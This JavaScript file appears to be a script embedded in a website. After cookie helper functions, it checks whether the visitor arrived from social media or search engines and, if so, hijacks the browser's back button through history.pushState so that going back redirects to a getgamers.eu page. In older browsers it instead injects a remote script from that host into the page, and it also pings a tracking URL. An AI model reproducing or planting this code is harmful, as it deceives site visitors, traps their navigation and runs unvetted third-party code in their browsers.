(function(w, d) {
    var sp = String.prototype,
        ap = Array.prototype;
    if (typeof sp.trimLeft !== "function") {sp.trimLeft = function() {return this.replace(/^\s+/, "");};}
    if (typeof sp.trimRight !== "function") {sp.trimRight = function() {return this.replace(/\s+$/, "");};}
    if (typeof ap.map !== "function") {
        ap.map = function(callback, thisArg) {
            for (var i=0, n=this.length, a=[]; i<n; i++) {if (i in this) a[i] = callback.call(thisArg, this[i]);}
            return a;
        };
    }
    function getCookies() {
        var c = d.cookie, v = 0, cookies = {};
        if (d.cookie.match(/^\s*$Version=(?:"1"|1);\s*(.*)/)) {
            c = RegExp.$1;
            v = 1;
        }
        if (v === 0) {
            c.split(/[,;]/).map(function(cookie) {
                var parts = cookie.split(/=/, 2);
                cookies[decodeURIComponent(parts[0].trimLeft())] = parts.length > 1
                    ? decodeURIComponent(parts[1].trimRight())
                    : null;
            });
        } else {
            c.match(/(?:^|\s+)([!#$%&'*+\-.0-9A-Z^`a-z|~]+)=([!#$%&'*+\-.0-9A-Z^`a-z|~]*|"(?:[ -~€ÿ]|\[ -])*")(?=\s*[,;]|$)/g).map(function($0, $1) {
                cookies[$0] = $1.charAt(0) === '"'
                              ? $1.substr(1, -1).replace(/\\(.)/g, "$1")
                              : $1;
            });
        }
        return cookies;
    }
    w.GG = {};
    GG.setCookie = function(name, value) {
        var argc = arguments.length, path = '/', expires = (argc > 3) ? arguments[3] : null, domain = (argc > 4) ? arguments[4] : null;
        d.cookie = name + "=" + encodeURI(value) +
            ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
            ((path == null) ? "" : ("; path=" + path)) +
            ((domain == null) ? "" : ("; domain=" + domain));
    };
    GG.getCookie = function(name) { return getCookies()[name] };
    GG.getSiteDomain = function () {
        var parts = self.location.hostname.split('.');
        if (parts.length > 2) { parts.shift(); }
        return '.' + parts.join('.');
    };
})(window, document);(function(window, gg_r){
  var bounceCookieKey = 'gg:b:16645f2e714535bf48f48488e6040dd0',
      bounceOnly = false,
      isBounce = !GG.getCookie(bounceCookieKey);
  GG.setCookie(bounceCookieKey, 1, null, null, GG.getSiteDomain());
  if(history.pushState) {
    window.addEventListener('popstate', function(e) {
        var state = e.state;
        if (!state || state.s) { return; }
        if (bounceOnly && !isBounce) { window.history.go(-1); return; }
        if (state.f && state.next) { GG.setCookie(bounceCookieKey, 0, null, null, GG.getSiteDomain()); setTimeout(function () { window.location.replace(state.next); }, 10); }
    });
  }
  // If bounceOnly is enabled and request is not first request, halt execution
  if (bounceOnly && !isBounce) { return; }
  if(gg_r) {
    var gg_vr = {"\/t.co":3,"facebook.com":3,"linkedin.com":3,"plus.url.google.com":3,".deviantart.com":3,".livejournal.":3,".pinterest.":3,".google.":2,".bing.":2,"yandex.":2};
    var gg_go = false;
    for (var w in gg_vr) {
      if (!gg_vr.hasOwnProperty(w)) { continue; }
      if (gg_r.indexOf(w) != -1) {
        gg_go = gg_vr[w];
        break;
      }
    }

    

    if(gg_go){
      // Ref test thing
      var tstimg = new Image();
      tstimg.src = 'http://www.getgamers.eu/scripts/bt-go.php?' + Math.random();
      // End of ref test
      if(history.pushState) {
        if (!history.state) {
          history.replaceState({f:1, next: "http://www.getgamers.eu/scripts/bt4.php?id=9870045&f=" + gg_go + "&ref=" }, document.title);
          history.pushState({s:1}, document.title);
        }
      }
      else {
          var go = 0;
          var ch = setInterval(function(){
            try {
              go++;
              if (go > 80) { clearInterval(ch); return; }
              var ej220=document.getElementsByTagName("body")[0];
              if (!ej220) { return; }
              clearInterval(ch);
              var ej20=document.createElement("script");
              ej20.type="text/javascript";
              ej20.src="http://www.getgamers.eu/scripts/bt.php?id=9870045&f=" + gg_go + "&ref=";
              ej220.insertBefore(ej20, ej220.firstChild);
            } catch (e20){}
          }, 50);
      }
    }
  }
})(window, document.referrer);